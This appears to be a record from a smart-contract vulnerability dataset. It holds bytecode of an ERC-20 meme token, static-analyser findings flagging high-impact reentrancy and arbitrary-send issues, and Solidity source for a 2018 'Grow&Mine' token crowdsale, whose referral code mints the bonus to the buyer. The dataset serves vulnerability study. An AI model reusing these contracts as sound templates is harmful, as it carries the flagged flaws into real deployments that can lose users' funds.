73ffffffffffffffffffffffffffffffffffffffff1661174761125f565b73ffffffffffffffffffffffffffffffffffffffff1614806117bd5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117a561125f565b73ffffffffffffffffffffffffffffffffffffffff16145b6117fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f390612fe0565b60405180910390fd5b5b5b60105481111561180d57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118b15750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ba57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119655750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119bb5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119d35750600f60179054906101000a900460ff165b15611a745742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2357600080fd5b600a42611a309190613136565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a7f30610766565b9050600f60159054906101000a900460ff16158015611aec5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b045750600f60169054906101000a900460ff165b15611b2c57611b1281611dbe565b60004790506000811115611b2a57611b2947611c55565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bd55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bdf57600090505b611beb8484848461210b565b50505050565b6000838311158290611c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c309190612e5e565b60405180910390fd5b5060008385611c489190613217565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ca56002846120c190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cd0573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d216002846120c190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d4c573d6000803e3d6000fd5b5050565b6000600654821115611d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8e90612ea0565b60405180910390fd5b6000611da1612138565b9050611db681846120c190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611df657611df56133ec565b5b604051908082528060200260200182016040528015611e245781602001602082028036833780820191505090505b5090503081600081518110611e3c57611e3b6133bd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ede57600080fd5b505afa158015611ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1691906128a5565b81600181518110611f2a57611f296133bd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f9130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611267565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ff595949392919061301b565b600060405180830381600087803b15801561200f57600080fd5b505af1158015612023573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561205957600090506120bb565b6000828461206791906131bd565b9050828482612076919061318c565b146120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad90612f20565b60405180910390fd5b809150505b92915050565b600061210383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612163565b905092915050565b80612119576121186121c6565b5b6121248484846121f7565b80612132576121316123c2565b5b50505050565b60008060006121456123d4565b9150915061215c81836120c190919063ffffffff16565b9250505090565b600080831182906121aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a19190612e5e565b60405180910390fd5b50600083856121b9919061318c565b9050809150509392505050565b60006008541480156121da57506000600954145b156121e4576121f5565b600060088190555060006009819055505b565b60008060008060008061220987612436565b95509550955095509550955061226786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122fc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061234881612546565b6123528483612603565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123af9190613000565b60405180910390a3505050505050505050565b60076008819055506008600981905550565b600080600060065490506000683635c9adc5dea00000905061240a683635c9adc5dea000006006546120c190919063ffffffff16565b82101561242957600654683635c9adc5dea00000935093505050612432565b81819350935050505b9091565b60008060008060008060008060006124538a60085460095461263d565b9250925092506000612463612138565b905060008060006124768e8787876126d3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bf1565b905092915050565b60008082846124f79190613136565b90508381101561253c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253390612ee0565b60405180910390fd5b8091505092915050565b6000612550612138565b90506000612567828461204690919063ffffffff16565b90506125bb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126188260065461249e90919063ffffffff16565b600681905550612633816007546124e890919063ffffffff16565b6007819055505050565b600080600080612669606461265b888a61204690919063ffffffff16565b6120c190919063ffffffff16565b905060006126936064612685888b61204690919063ffffffff16565b6120c190919063ffffffff16565b905060006126bc826126ae858c61249e90919063ffffffff16565b61249e90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ec858961204690919063ffffffff16565b90506000612703868961204690919063ffffffff16565b9050600061271a878961204690919063ffffffff16565b9050600061274382612735858761249e90919063ffffffff16565b61249e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061276f61276a846130b5565b613090565b9050808382526020820190508285602086028201111561279257612791613420565b5b60005b858110156127c257816127a888826127cc565b845260208401935060208301925050600181019050612795565b5050509392505050565b6000813590506127db81613736565b92915050565b6000815190506127f081613736565b92915050565b600082601f83011261280b5761280a61341b565b5b813561281b84826020860161275c565b91505092915050565b6000813590506128338161374d565b92915050565b6000815190506128488161374d565b92915050565b60008135905061285d81613764565b92915050565b60008151905061287281613764565b92915050565b60006020828403121561288e5761288d61342a565b5b600061289c848285016127cc565b91505092915050565b6000602082840312156128bb576128ba61342a565b5b60006128c9848285016127e1565b91505092915050565b600080604083850312156128e9576128e861342a565b5b60006128f7858286016127cc565b9250506020612908858286016127cc565b9150509250929050565b60008060006060848603121561292b5761292a61342a565b5b6000612939868287016127cc565b935050602061294a868287016127cc565b925050604061295b8682870161284e565b9150509250925092565b6000806040838503121561297c5761297b61342a565b5b600061298a858286016127cc565b925050602061299b8582860161284e565b9150509250929050565b6000602082840312156129bb576129ba61342a565b5b600082013567ffffffffffffffff8111156129d9576129d8613425565b5b6129e5848285016127f6565b91505092915050565b600060208284031215612a0457612a0361342a565b5b6000612a1284828501612824565b91505092915050565b600060208284031215612a3157612a3061342a565b5b6000612a3f84828501612839565b91505092915050565b600060208284031215612a5e57612a5d61342a565b5b6000612a6c8482850161284e565b91505092915050565b600080600060608486031215612a8e57612a8d61342a565b5b6000612a9c86828701612863565b9350506020612aad86828701612863565b9250506040612abe86828701612863565b9150509250925092565b6000612ad48383612ae0565b60208301905092915050565b612ae98161324b565b82525050565b612af88161324b565b82525050565b6000612b09826130f1565b612b138185613114565b9350612b1e836130e1565b8060005b83811015612b4f578151612b368882612ac8565b9750612b4183613107565b925050600181019050612b22565b5085935050505092915050565b612b658161325d565b82525050565b612b74816132a0565b82525050565b6000612b85826130fc565b612b8f8185613125565b9350612b9f8185602086016132b2565b612ba88161342f565b840191505092915050565b6000612bc0602383613125565b9150612bcb82613440565b604082019050919050565b6000612be3602a83613125565b9150612bee8261348f565b604082019050919050565b6000612c06602283613125565b9150612c11826134de565b604082019050919050565b6000612c29601b83613125565b9150612c348261352d565b602082019050919050565b6000612c4c601d83613125565b9150612c5782613556565b602082019050919050565b6000612c6f602183613125565b9150612c7a8261357f565b604082019050919050565b6000612c92602083613125565b9150612c9d826135ce565b602082019050919050565b6000612cb5602983613125565b9150612cc0826135f7565b604082019050919050565b6000612cd8602583613125565b9150612ce382613646565b604082019050919050565b6000612cfb602483613125565b9150612d0682613695565b604082019050919050565b6000612d1e601783613125565b9150612d29826136e4565b602082019050919050565b6000612d41601183613125565b9150612d4c8261370d565b602082019050919050565b612d6081613289565b82525050565b612d6f81613293565b82525050565b6000602082019050612d8a6000830184612aef565b92915050565b6000604082019050612da56000830185612aef565b612db26020830184612aef565b9392505050565b6000604082019050612dce6000830185612aef565b612ddb6020830184612d57565b9392505050565b600060c082019050612df76000830189612aef565b612e046020830188612d57565b612e116040830187612b6b565b612e1e6060830186612b6b565b612e2b6080830185612aef565b612e3860a0830184612d57565b979650505050505050565b6000602082019050612e586000830184612b5c565b92915050565b60006020820190508181036000830152612e788184612b7a565b905092915050565b60006020820190508181036000830152612e9981612bb3565b9050919050565b60006020820190508181036000830152612eb981612bd6565b9050919050565b60006020820190508181036000830152612ed981612bf9565b9050919050565b60006020820190508181036000830152612ef981612c1c565b9050919050565b60006020820190508181036000830152612f1981612c3f565b9050919050565b60006020820190508181036000830152612f3981612c62565b9050919050565b60006020820190508181036000830152612f5981612c85565b9050919050565b60006020820190508181036000830152612f7981612ca8565b9050919050565b60006020820190508181036000830152612f9981612ccb565b9050919050565b60006020820190508181036000830152612fb981612cee565b9050919050565b60006020820190508181036000830152612fd981612d11565b9050919050565b60006020820190508181036000830152612ff981612d34565b9050919050565b60006020820190506130156000830184612d57565b92915050565b600060a0820190506130306000830188612d57565b61303d6020830187612b6b565b818103604083015261304f8186612afe565b905061305e6060830185612aef565b61306b6080830184612d57565b9695505050505050565b600060208201905061308a6000830184612d66565b92915050565b600061309a6130ab565b90506130a682826132e5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130d0576130cf6133ec565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314182613289565b915061314c83613289565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131815761318061335f565b5b828201905092915050565b600061319782613289565b91506131a283613289565b9250826131b2576131b161338e565b5b828204905092915050565b60006131c882613289565b91506131d383613289565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320c5761320b61335f565b5b828202905092915050565b600061322282613289565b915061322d83613289565b9250828210156132405761323f61335f565b5b828203905092915050565b600061325682613269565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132ab82613289565b9050919050565b60005b838110156132d05780820151818401526020810190506132b5565b838111156132df576000848401525b50505050565b6132ee8261342f565b810181811067ffffffffffffffff8211171561330d5761330c6133ec565b5b80604052505050565b600061332182613289565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133545761335361335f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61373f8161324b565b811461374a57600080fd5b50565b6137568161325d565b811461376157600080fd5b50565b61376d81613289565b811461377857600080fd5b5056fe4f6e6c7920536869626120546f6b656e5f542e6d652f4f6e6c795368696261546f6b656e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122059bd9dc23be9a4acec53127ab686fa68e024ee1d2bee9da252f0e4fcffe0d68a64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,639 |
0x02c06fb43f418e142666e4a80526d23cd2eae367
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract NooToken is MintableToken {
string public constant name = "Grow&Mine Token";
string public constant symbol = "GNM";
uint32 public constant decimals = 18;
}
contract NooCrowdsale is Ownable {
using SafeMath for uint;
NooToken public token = new NooToken();
// 0 - unknown
// 1 - success
// 2 - fail
uint public status = 0;
mapping(address => uint) public balances;
uint public balanceTotal = 0;
uint public start;
uint8 public period;
uint8 public periodLimit;
uint public softcap;
uint public hardcap;
uint public rate;
uint public minAmount;
uint public restricted;
function NooCrowdsale() public {
start = 1521471600; // 19.03.2018T15:00:00.000Z
period = 42;
periodLimit = 75;
softcap = 666 ether; // ~ $300000
hardcap = 4444 ether; // ~ $2000000
rate = 5555555555555556; // ~ $2.5
minAmount = 111111111111111120; // ~ $50
restricted = 13; // 3% bounty + 10% zp
}
function() external payable {
createTokens();
}
function createTokens() public checkAmount saleIsOn underHardcap payable {
require(status != 2);
uint tokens = msg.value.div(rate);
uint bonusTokens = calcBonusTokens(tokens);
mintAndTransfer(msg.sender, tokens + bonusTokens);
balances[msg.sender] = balances[msg.sender].add(msg.value);
balanceTotal = balanceTotal.add(msg.value);
if (msg.data.length == 20) {
address referer = bytesToAddress(bytes(msg.data));
require(referer != msg.sender && referer != address(0));
uint refererTokens = tokens.div(20);
mintAndTransfer(msg.sender, refererTokens);
}
}
function finishMinting() public onlyOwner saleFinished overSoftcap {
require(status == 1 || (status != 2 && now < start + period * 1 days && balanceTotal < hardcap));
uint issuedTokenSupply = token.totalSupply();
uint restrictedTokens = issuedTokenSupply.mul(restricted).div(100 - restricted);
mintAndTransfer(owner, restrictedTokens);
token.finishMinting();
owner.transfer(this.balance);
}
function takeUpWork() public onlyOwner overSoftcap {
require(status == 0);
status = 1;
}
function refuseWork() public onlyOwner {
require(status == 0);
status = 2;
}
function takeEther(uint amount) public onlyOwner {
require(status == 1);
owner.transfer(amount);
}
function refund() public {
require(status == 2 || (status != 1 && now > start + period * 1 days && balanceTotal < softcap));
require(balances[msg.sender] > 0);
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
}
function calcBonusTokens(uint tokens) public view returns (uint) {
uint delta = now - start;
if (delta <= 7 days) {
return tokens.div(10);
} else if (delta <= 21 days) {
return tokens.div(20);
}
return 0;
}
function expandPeriod(uint8 byDays) public onlyOwner {
require(period + byDays <= periodLimit);
period = period + byDays;
}
function mintAndTransfer(address receiver, uint amount) private {
token.mint(this, amount);
token.transfer(receiver, amount);
}
function bytesToAddress(bytes source) internal pure returns (address parsedReferer) {
assembly {
parsedReferer := mload(add(source, 0x14))
}
return parsedReferer;
}
modifier overSoftcap() {
require(balanceTotal >= softcap);
_;
}
modifier underHardcap() {
require(balanceTotal <= hardcap);
_;
}
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
modifier saleFinished() {
require(now > start + period * 1 days);
_;
}
modifier checkAmount() {
require(msg.value >= minAmount);
_;
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde0314610118578063095ea7b3146101a657806318160ddd1461020057806323b872dd14610229578063313ce567146102a257806340c10f19146102d7578063661884631461033157806370a082311461038b5780637d64bcb4146103d85780638da5cb5b1461040557806395d89b411461045a578063a9059cbb146104e8578063d73dd62314610542578063dd62ed3e1461059c578063f2fde38b14610608575b600080fd5b34156100f657600080fd5b6100fe610641565b604051808215151515815260200191505060405180910390f35b341561012357600080fd5b61012b610654565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b6101e6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061068d565b604051808215151515815260200191505060405180910390f35b341561020b57600080fd5b61021361077f565b6040518082815260200191505060405180910390f35b341561023457600080fd5b610288600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610789565b604051808215151515815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610b43565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34156102e257600080fd5b610317600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b48565b604051808215151515815260200191505060405180910390f35b341561033c57600080fd5b610371600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d2e565b604051808215151515815260200191505060405180910390f35b341561039657600080fd5b6103c2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fbf565b6040518082815260200191505060405180910390f35b34156103e357600080fd5b6103eb611007565b604051808215151515815260200191505060405180910390f35b341561041057600080fd5b6104186110cf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561046557600080fd5b61046d6110f5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ad578082015181840152602081019050610492565b50505050905090810190601f1680156104da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104f357600080fd5b610528600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061112e565b604051808215151515815260200191505060405180910390f35b341561054d57600080fd5b610582600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061134d565b604051808215151515815260200191505060405180910390f35b34156105a757600080fd5b6105f2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611549565b6040518082815260200191505060405180910390f35b341561061357600080fd5b61063f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115d0565b005b600360149054906101000a900460ff1681565b6040805190810160405280600f81526020017f47726f77264d696e6520546f6b656e000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107c657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561081357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561089e57600080fd5b6108ef826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610982826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a5382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252a